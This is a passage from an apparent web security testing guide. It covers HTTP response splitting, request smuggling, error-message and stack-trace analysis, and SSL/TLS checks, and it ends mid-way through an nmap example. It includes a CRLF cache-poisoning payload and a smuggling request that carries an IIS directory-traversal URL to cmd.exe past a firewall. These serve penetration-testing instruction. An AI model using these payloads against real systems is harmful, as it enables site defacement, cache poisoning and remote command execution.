The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting.

In the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section.

How to Test

Black Box testing

HTTP Splitting

Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page.

More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:

```
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
<snip>
```

When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, testers will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests.

Let's say that in the previous example the tester passes the following data as the interface parameter:

```
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
```

The resulting answer from the vulnerable application will therefore be the following:

```
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

<html>Sorry,%20System%20Down</html>
<other data>
```

The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache will receive the "system down" message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application).

Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users. Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it.

The headers that are the most likely candidates for this attack are:

- Location
- Set-Cookie

It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:

1. The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target paggers, by issuing a preliminary request with "Pragma: no-cache" in the request headers
2. The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., "<" and ">"). In this case, the tester can try to use other encodings (e.g., UTF-7)
3. Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering

For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.

Gray Box testing

HTTP Splitting

A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the

attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET.

HTTP Smuggling

As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.

Application Firewall Bypass

There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old Unicode directory traversal attack against IIS server (<http://www.securityfocus.com/bid/1806>), in which an attacker could break out the www root by issuing a request like:

```
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<command_to_execute>
```

Of course, it is quite easy to spot and filter this attack by the presence of strings like ".." and "cmd.exe" in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:

```
POST /target.asp HTTP/1.1          <-- Request #1
Host: target
Connection: Keep-Alive
Content-Length: 49225
<CRLF>
<49152 bytes of garbage>
POST /target.asp HTTP/1.0          <-- Request #2
Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0          <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0  <-- Request #4
Connection: Keep-Alive
<CRLF>
```

What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).

Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until "xxxx: ", making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte of Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.

While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.

Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.

References

Whitepapers

- Amit Klein, "Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
- Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" - <http://www.watchfire.com/news/whitepapers.aspx>
- Amit Klein: "HTTP Message Splitting, Smuggling and Other Animals" - http://www.owasp.org/images/1/1a/OWASPApSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt
- Amit Klein: "HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)" - <http://www.securityfocus.com/archive/1/411418>
- Amit Klein: "HTTP Response Smuggling" - <http://www.securityfocus.com/archive/1/425593>
- Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" - <http://www.cgisecurity.com/lib/http-request-smuggling.pdf>

Testing for Error Handling

- [Analysis of Error Codes \(OTG-ERR-001\)](#)
- [Analysis of Stack Traces \(OTG-ERR-002\)](#)

Analysis of Error Codes (OTG-ERR-001)

Summary

Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers. It's possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually. These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.

This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment. The most important aspect for this activity is to focus one's attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.

Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [Conduct Search Engine Discovery and Reconnaissance for Information Leakage \(OTG-INFO-001\)](#)

Web Server Errors

A common error that we can see during testing is the HTTP 404 Not Found. Often this error code provides useful details about the underlying web server and associated components. For example:

```
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80
```

This error message can be generated by requesting a non-existent URL. After the common message that shows a page not found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.

Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation.

Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [Fingerprint Web Server \(OTG-INFO-002\)](#).

Application Server Errors

Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.

Database Errors

Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.

In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database

driver, for in depth information on this issue see [Testing for SQL Injection \(OTG-INPVAL-005\)](#) for more information.

Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:

```
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied
```

What happened? We will explain step-by-step below.

In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.

By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.

```
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'
```

In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.

Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.

Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:

```
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
```

If we see in the HTML code of the logon page the presence of a **hidden field** with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful.

Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.

How to Test

Below are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.

Test: 404 Not Found

```
telnet <host target> 80
GET /<wrong page> HTTP/1.1
host: <host target>
<CRLF><CRLF>
```


Result:

```

HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Port 80</address>
...

```

Test:

```

Network problems leading to the application being unable to access the database server

```

Result:

```

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

```

Test:

```

Authentication failure due to missing credentials

```

Result:

Firewall version used for authentication:

```

Error 407
FW-1 at <firewall>: Unauthorized to access the document.
• Authorization is needed for FW-1.
• The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user

```

Test: 400 Bad Request

```

telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>

```

Result:

```

HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...

```

```
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80</address>
...
```

Test: 405 Method Not Allowed

```
telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
```

Result:

```
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
```

Test: 408 Request Time-out

```
telnet <host target> 80
GET / HTTP/1.1
- Wait X seconds - (Depending on the target server, 21 seconds for Apache by default)
```

Result:

```
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>408 Request Time-out</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
```

Test: 501 Method Not Implemented

```
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
```

Result:

```
HTTP/1.1 501 Method Not Implemented
```

```
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
```

Test:

```
Enumeration of directories by using access denied error messages:<br>
http://<host>/<dir>
```

Result:

```
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
```

```
Forbidden
You don't have permission to access /<dir> on this server.
```

Tools

- [1] ErrorMint - <http://sourceforge.net/projects/errormint/>
- [2] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

References

- [1] [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
- [2] [ErrorDocument] Apache ErrorDocument Directive
- [3] [AllowOverride] Apache AllowOverride Directive
- [4] [ServerTokens] Apache ServerTokens Directive
- [5] [ServerSignature] Apache ServerSignature Directive

Remediation**Error Handling in IIS and ASP .net**

ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user).

IIS uses a set of custom error pages generally found in c:\winnt\help\iishelp\common to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.

There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP

.net:

1. Inside Web.config customErrors section
2. Inside global.asax Application_Error Sub
3. At the the.aspx or associated codebehind page in the Page_Error sub

Handling errors using web.config

```
<customErrors defaultRedirect="myerrorpagedefault.aspx" mode="On|Off|RemoteOnly">
  <error statusCode="404" redirect="myerrorpagefor404.aspx"/>
  <error statusCode="500" redirect="myerrorpagefor500.aspx"/>
</customErrors>
```

mode="On" will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.

All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. A status code 404 will be handled by myerrorpagefor404.aspx.

Handling errors in Global.asax

When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.

```
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)
    Handles MyBase.Error
End Sub
```

Handling errors in Page_Error sub

This is similar to application error.

```
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)
    Handles MyBase.Error
End Sub
```

Error hierarchy in ASP .net

Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web.config file.

Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.

How to test for ASP.net and IIS Error Handling

Fire up your browser and type a random page name

```
http://www.mywebserver.com/anyrandomname.aspx
```

If the server returns

```
The page cannot be found
Internet Information Services
```

it means that IIS custom errors are not configured. Please note the .asp extension.

Also test for .net custom errors. Type a random page name with aspx extension in your browser

```
http://www.mywebserver.com/anyrandomname.aspx
```

If the server returns

```
Server Error in '/' Application.
-----
The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its r
```

custom errors for .net are not configured.

Error Handling in Apache

Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.

Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]

```
ErrorDocument 404 "Customized Not Found error message"
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
```

Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3]


The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. "ServerSignature Off" (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.

Error Handling in Tomcat

Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.

Customization of the error responses can be configured in the configuration file web.xml.

```
<error-page>
  <error-code>404</error-code>
  <location>/myerrorpagefor404.html</location>
</error-page>
```



Analysis of Stack Traces (OTG-ERR-002)

Summary

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.

If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is considered a bad practice due to multiple reasons. For example, it may contain information on internal workings of the application such as relative paths of the point where the application is installed or how objects are referenced internally.

How to Test

Black Box testing

There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too.

Some tests to try include:

- invalid input (such as input that is not consistent with application logic.
- input that contains non alphanumeric characters or query syntax.
- empty inputs.
- inputs that are too long.
- access to internal pages without authentication.
- bypassing application flow.

All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to any manual testing.

Some tools, such as [OWASP ZAP](#) and Burp proxy will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.

Gray Box Testing

Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:

```
<% e.printStackTrace( new PrintWriter( out ) ) >
```

In some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements.

Search the configuration to verify error handling configuration and the use of default error pages. For example, in Java this configuration can be found in web.xml.

Tools

[1] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

References

- [1] [[RFC2616](#)] Hypertext Transfer Protocol -- HTTP/1.1

Testing for weak Cryptography

- [Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection \(OTG-CRYPST-001\)](#)
- [Testing for Padding Oracle \(OTG-CRYPST-002\)](#)
- [Testing for Sensitive information sent via unencrypted channels \(OTG-CRYPST-003\)](#)

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)

Summary

Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission.

HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication.

Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.

Common Issues

A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).

When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:

- SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.
- Certificate validity must be ensured.

Other vulnerabilities linked to this are:

- Software exposed must be updated due to possibility of known vulnerabilities [4].
- Usage of Secure flag for Session Cookies [5].
- Usage of HTTP Strict Transport Security (HSTS) [6].
- The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].
- The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.

Sensitive data transmitted in clear-text

The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.

Weak SSL/TLS Ciphers/Protocols/Keys

Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.

It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.

Briefly, the key points for the cipher suite determination are the following:

1. The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].
2. The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server).

It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.

SSL certificate validity – client and server

When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:

1. The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.
2. The server sends a ServerHelloDone message and waits for a client response.
3. Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.

In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity:

- Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);
- Checking that the certificate is currently valid;
- Checking that the name of the site and the name reported in the certificate match.

Let's examine each check more in detail.

- Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won't delve deeper in the implications of the trust model being used by digital certificates).
- Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed.
- What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts

to be correctly referenced.

Other vulnerabilities

The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP).

Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.

How to Test

Testing for sensitive data transmitted in clear-text

Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].

Example 1. Basic Authentication over HTTP

A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.

```
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></head>
<body bgcolor=white>
<h1>401 Authorization Required</h1>

Invalid login credentials!

</body></html>
```

Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities

The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.

At the time of writing these criteria are widely recognized as minimum checklist:

- Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).
- Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).
- Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).
- No Export (EXP) level cipher suites, due to can be easily broken [10].
- X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).
- X.509 certificates must be signed only with secure hashing algorithms (e.g. not signed using MD5 hash, due to known

collision attacks on this hash).

- Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].

A more complete checklist includes:

- Secure Renegotiation should be enabled.
- MD5 should not be used, due to known collision attacks. [35]
- RC4 should not be used, due to crypto-analytical attacks [15].
- Server should be protected from BEAST Attack [16].
- Server should be protected from CRIME attack, TLS compression must be disabled [17].
- Server should support Forward Secrecy [18].

The following standards can be used as reference while assessing SSL servers:

- PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].
- Qualys SSL Labs Server Rating Guide [14], Deployment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].
- OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].

Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool's output as an input for manual evaluation using the references.

Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].

Example 2. SSL service recognition via nmap

The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).

In this example we search for SSL services using nmap with "-sV" option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.

```
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp     syn-ack Pure-FTPd
22/tcp    open  ssh     syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp    open  smtp    syn-ack Exim smtpd 4.80
26/tcp    open  smtp    syn-ack Exim smtpd 4.80
80/tcp    open  http    syn-ack
110/tcp   open  pop3    syn-ack Dovecot pop3d
143/tcp   open  imap    syn-ack Dovecot imapd
443/tcp   open  ssl/http syn-ack Apache
465/tcp   open  ssl/smtp syn-ack Exim smtpd 4.80
993/tcp   open  ssl/imap syn-ack Dovecot imapd
